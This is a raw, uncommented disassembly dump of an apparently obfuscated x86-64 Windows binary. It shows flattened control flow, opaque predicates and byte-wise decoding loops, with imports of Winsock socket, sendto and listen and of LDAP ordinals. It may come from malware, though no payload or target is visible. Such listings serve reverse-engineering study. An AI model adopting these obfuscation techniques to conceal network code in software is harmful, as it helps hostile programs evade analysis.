cmp r8, rax
je 0x14007f290
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007edc0
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14007fa9c
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007fa78
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007efae
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14007ef93
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14007ef78
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14007f232
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14007f1ce
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14007f17c
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14007f14d
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14007edc0
mov r8, rax
lea r9, [rax + 0x400]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007f113
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14007f0ef
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007f0cb
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14007f097
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14007f06e
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14007f045
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14007f01b
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007efed
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14007efc9
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007edc0
mov r8, rax
lea r9, [rax + 0x3e8]
jmp 0x14007edc0
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x13
jmp 0x14007edb1
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1f
jmp 0x14007ed43
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x51
jmp 0x14007ecc5
movabs rcx, 0xb56a0a9b179a1658
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x14007f939
movabs rcx, 0xad28c76e9445f79a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x36
inc r9
dec rbx
inc rbx
jmp 0x14007ecb2
movabs rcx, 0xa4e7844210f1d8dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
dec rbx
inc rbx
jmp 0x14007ecb2
movabs rdx, 0x9ca641158d9dba1e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007f9e1
movabs rdx, 0x9464fde90a499b60
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007fa2c
movabs rcx, 0x8c23babc86f57ca2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ecb2
movabs rcx, 0x83e2779003a15de4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x14007f7c1
movabs rcx, 0x7ba13463804d3f26
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
jmp 0x14007f7f4
movabs rdx, 0x735ff136fcf92068
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xcd0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ecb2
movabs rcx, 0xdebcc947b4a6d38d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x25
mov byte [rbp + rbx + 0xcd0], r10b
inc rbx
jmp 0x14007ecb2
movabs rcx, 0xd67b861b3152b4cf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x57
cmp r9, 0x400
jb 0x14007f16c
movabs rcx, 0xa50061de29c21fda
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 5
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14007f939
movabs rdx, 0xce3a42eeadfe9611
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x77
add r10b, dl
cmp r8, 0x1000
jae 0x14007f76b
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14007f692
movabs rcx, 0x5273c2210878ec6e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
jmp 0x14007f19b
movabs rcx, 0xc5f8ffc22aaa7753
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x45
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x14007f79b
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x14007f54b
movabs rcx, 0x7bc680cda585a9a3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x75
jmp 0x14007f1f1
movabs rcx, 0x80f87f451b390c2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4e
movzx eax, byte [rbp + rbx + 0xcd0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ecb2
movabs rcx, 0xffce44c7ce5f7204
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x14007f7f4
movabs rdx, 0xf78d019b4b0b5346
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007f7c1
movabs rdx, 0xef4bbe6ec7b73488
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ecb2
movabs rdx, 0xe70a7b42446315ca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007fa2c
movabs rcx, 0xdec93815c10ef70c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x14007f9e1
movabs rcx, 0xd687f4e93dbad84e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x22
dec rbx
inc rbx
jmp 0x14007ecb2
movabs rdx, 0xce46b1bcba66b990
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14007ecb2
movabs rdx, 0xc6056e9037129ad2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007f939
lea rax, [r9 + 6]
cmp r8, rax
jae 0x14007f442
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x67
jmp 0x14007f251
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007f480
movabs rcx, 0xad5a82a6c5e68596
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
movzx eax, byte [rbp + rbx + 0xcd0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ecb2
inc rax
cmp r8, rax
jne 0x14007f4b1
movabs rdx, 0xce5f8f58d337008e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007fa2c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007f4de
movabs rcx, 0xd6a0d285568b1f4c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
jmp 0x14007f9e1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007f511
movabs rcx, 0xdee215b1d9df3e0a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
dec rbx
inc rbx
jmp 0x14007ecb2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007f251
movabs rcx, 0xe72358de5d335cc8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
inc r9
dec rbx
inc rbx
jmp 0x14007ecb2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007f578
movabs rcx, 0x8407c3fa28d9c861
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x59
jmp 0x14007f939
inc rax
cmp r8, rax
jne 0x14007f5ae
movabs rcx, 0x8c490726ac2de71f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x27
inc r9
dec rbx
inc rbx
jmp 0x14007ecb2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007f5e1
movabs rcx, 0x948a4a532f8205dd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xb
dec rbx
inc rbx
jmp 0x14007ecb2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007f61e
movabs rcx, 0xad4e13d8b97e6217
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5f
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ecb2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007f64f
movabs rdx, 0xb58f57053cd280d5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2d
add r10b, dl
jmp 0x14007f7c1
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007f1f1
movabs rcx, 0xc611dd5e437abe51
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x37
movzx eax, byte [rbp + rbx + 0xcd0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ecb2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007f6d0
movabs rcx, 0x5ab5054d8bcd0b2c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x34
movzx eax, byte [rbp + rbx + 0xcd0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ecb2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007f702
movabs rdx, 0x6b378ba6927548a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007f7c1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007f735
movabs rcx, 0x8c3c98589fc5c3a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x14007ecb2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007f19b
movabs rdx, 0x9cbf1eb1a66e011c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007f939
movabs rdx, 0xad41a50aad163e98
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xcd0]
sub r10b, al
sub r10b, 0x28
add r10b, dl
add r10b, r11b
jmp 0x14007f9e1
movabs rcx, 0xb582e837306a5d56
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xcd0]
lea r10d, [r11 + rcx]
sub r10b, 0x5a
movabs rdx, 0x39a389cd72146cb5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0xd
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xcd0], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xbdc42b63b3be7c14
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xcd0], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xcd0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ecb2
movabs rcx, 0x20f89de400e85779
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4f
movzx eax, byte [rbp + rbx + 0xcd0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ecb2
movabs rcx, 0x834d45e76ebfb3f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ecb2
movabs rdx, 0xf7b24e057043bdc3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x55
add r10b, dl
jmp 0x14007f9e1
movabs rcx, 0xef710ad8ecef9f05
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x23
dec rbx
inc rbx
jmp 0x14007ecb2
movabs rcx, 0xdeee847fe6476189
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
jmp 0x14007f939
movabs rcx, 0xce6bfe26df9f240d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5b
movabs rcx, 0x292103746b6c2f39
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x71
add cl, r11b
mov byte [rbp + rbx + 0xcd0], cl
inc r9
dec rbx
inc rbx
jmp 0x14007ecb2
movabs rcx, 0xc62abafa5c4b054f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x29
inc r9
dec rbx
inc rbx
jmp 0x14007ecb2
movabs rcx, 0xbde977cdd8f6e691
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
dec rbx
inc rbx
jmp 0x14007ecb2
movabs rcx, 0xb5a834a155a2c7d3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3b
movabs rdx, 0x316246a0eec04df7
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x3f
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xcd0], cl
jmp 0x14007fa2c
movabs rcx, 0xad66f174d24ea915
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ecb2
movabs rcx, 0x8c61e4c2c4fe2e1d
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x35
movzx eax, byte [rbp + rbx + 0xcd0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ecb2
movabs rcx, 0xa4f3f3101d59fc5b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7d
jmp 0x14007ecb0
movabs rcx, 0x9cb2afe39a05dd9d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4b
jmp 0x14007eca0
lea rsi, [rbp + 0x14260a4]
jmp 0x14007fad9
lea rsi, [rbp + 0x12c7003]
jmp 0x14007fad9
lea rsi, [rbp + 0xcd0]
lea rdx, [0x14022a240]
lea rcx, [rbp + 0x5c8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x38]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006c320
mov r14, rax
mov byte [rbp + 0xcf8], 0xe3
mov byte [rbp + 0xcf9], 0xde
mov byte [rbp + 0xcfa], Ordinal_217
mov byte [rbp + 0xcfb], Ordinal_211
mov byte [rbp + 0xcfc], Ordinal_211
mov byte [rbp + 0xcfd], 0xc9
mov byte [rbp + 0xcfe], Ordinal_217
mov byte [rbp + 0xcff], 0xc9
mov byte [rbp + 0xd00], Ordinal_217
mov byte [rbp + 0xd01], 0xb5
mov byte [rbp + 0xd02], 0xbb
mov byte [rbp + 0xd03], Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd04], xmm0
mov dword [rbp + 0xd14], eax
mov word [rbp + 0xd18], ax
mov byte [rbp + 0xd1a], al
movabs r15, 0x72dc6ac36dcc003
movabs r13, 0x2f8453c93a5fd25d
movzx r11d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
movabs rcx, 0x57835d88b52db7
cmp rdi, 0x23
jae 0x14008092b
movzx ebx, byte [rbp + rdi + 0xcf8]
mov r10, rbx
cmp r8, rdi
ja 0x14008091f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007fc0b
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
dec r11b
jmp 0x14007fc44
je 0x14008089a
inc rax
cmp r8, rax
je 0x14008082f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400807d6
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008077b
lea rax, [r9 + 8]
cmp r8, rax
je 0x140080729
cmp r9, rdi
ja 0x140080916
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14007fc71
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x15
add r11b, dl
jmp 0x14007fcb0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140080709
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400806e0
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400806bd
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008068a
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14008032d
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008030a
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400802de
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400802b5
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140080292
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14008026f
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14008023c
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140080219
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400801f6
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400801c2
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007fcc0
lea r8, [r9 + 4]
lea r9, [r8 + 5]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400808f3
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400808d0
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14007fec3
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14007fe9c
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007fe7e
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140080161
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140080104
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400800b4
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140080086
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14007fcc0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 1]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008004d
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140080025
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140080000
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14007ffc8
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007ffa0
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007ff78
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14007ff4a
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007ff19
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14007fef4
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14007fcc0
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x7a]
jmp 0x14007fcc0
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x75
add r11b, dl
jmp 0x14007fcb0
movabs rdx, 0x2ed54d0e28f576ef
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x77
add r11b, dl
jmp 0x14007fc44
movabs rdx, 0x2e264653178b1b81
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x79
add r11b, dl
movabs rcx, 0x57835d88b52db7
jmp 0x14007fbde
movabs rdx, 0x396e3561b6e60018
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140080748
movabs rdx, 0x38bf2ea6a57ba4aa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14007fbc2
movabs rdx, 0x381027eb9411493c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007fbc2
movabs rdx, 0x3761213082a6edce
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140080799
movabs rdx, 0x36b21a75713c9260
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400807be
movabs rdx, 0x360313ba5fd236f2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007fbc2
movabs rdx, 0x35540cff4e67db84
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400807f9
movabs rdx, 0x34a506443cfd8016
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140080856
movabs rdx, 0x33f5ff892b9324a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xcf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007fbc2
movabs rcx, 0x32406eb580094015
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x6d
mov byte [rbp + rdi + 0xcf8], r11b
inc rdi
jmp 0x14007fbc2
movabs rdx, 0x319167fa6e9ee4a7
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x6f
add r11b, dl
cmp r9, 2
jb 0x1400800a4
movabs rdx, 0x22de5744783036ea
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14008074b
movabs rdx, 0x30e2613f5d348939
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x71
add r11b, dl
cmp r8, 6
jae 0x14008062f
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x140080538
movabs rdx, 0x1c0813f5ca08a49e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x52
jmp 0x1400800d3
movabs rdx, 0x30335a844bca2dcb
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x73
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x14008065e
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x14008045c
movabs rdx, 0x14da4d49932be49b
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3d
jmp 0x140080123
movabs rcx, 0x2b12a809492c8012
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7e
movzx eax, byte [rbp + rdi + 0xcf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007fbc2
movabs rcx, 0x2a63a14e37c224a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x140080856
movabs rcx, 0x29b49a932657c936
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
jmp 0x1400807fc
movabs rcx, 0x290593d814ed6dc8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007fbc2
movabs rcx, 0x28568d1d0383125a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
jmp 0x1400807be
movabs rcx, 0x27a78661f218b6ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x140080799
movabs rcx, 0x26f87fa6e0ae5b7e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x72
dec rdi
inc rdi
jmp 0x14007fbc2
movabs rcx, 0x264978ebcf440010
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
inc r9
dec rdi
inc rdi
jmp 0x14007fbc2
movabs rcx, 0x259a7230bdd9a4a2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6e
jmp 0x14008074b
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14008035c
movabs rdx, 0x57835d88b52db7
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
dec r11b
jmp 0x140080180
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140080399
movabs rcx, 0xe5b8d586db98006
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2a
movzx eax, byte [rbp + rdi + 0xcf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007fbc2
inc rax
cmp r8, rax
jne 0x1400803c5
movabs rdx, 0xfb99ace908e36e2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
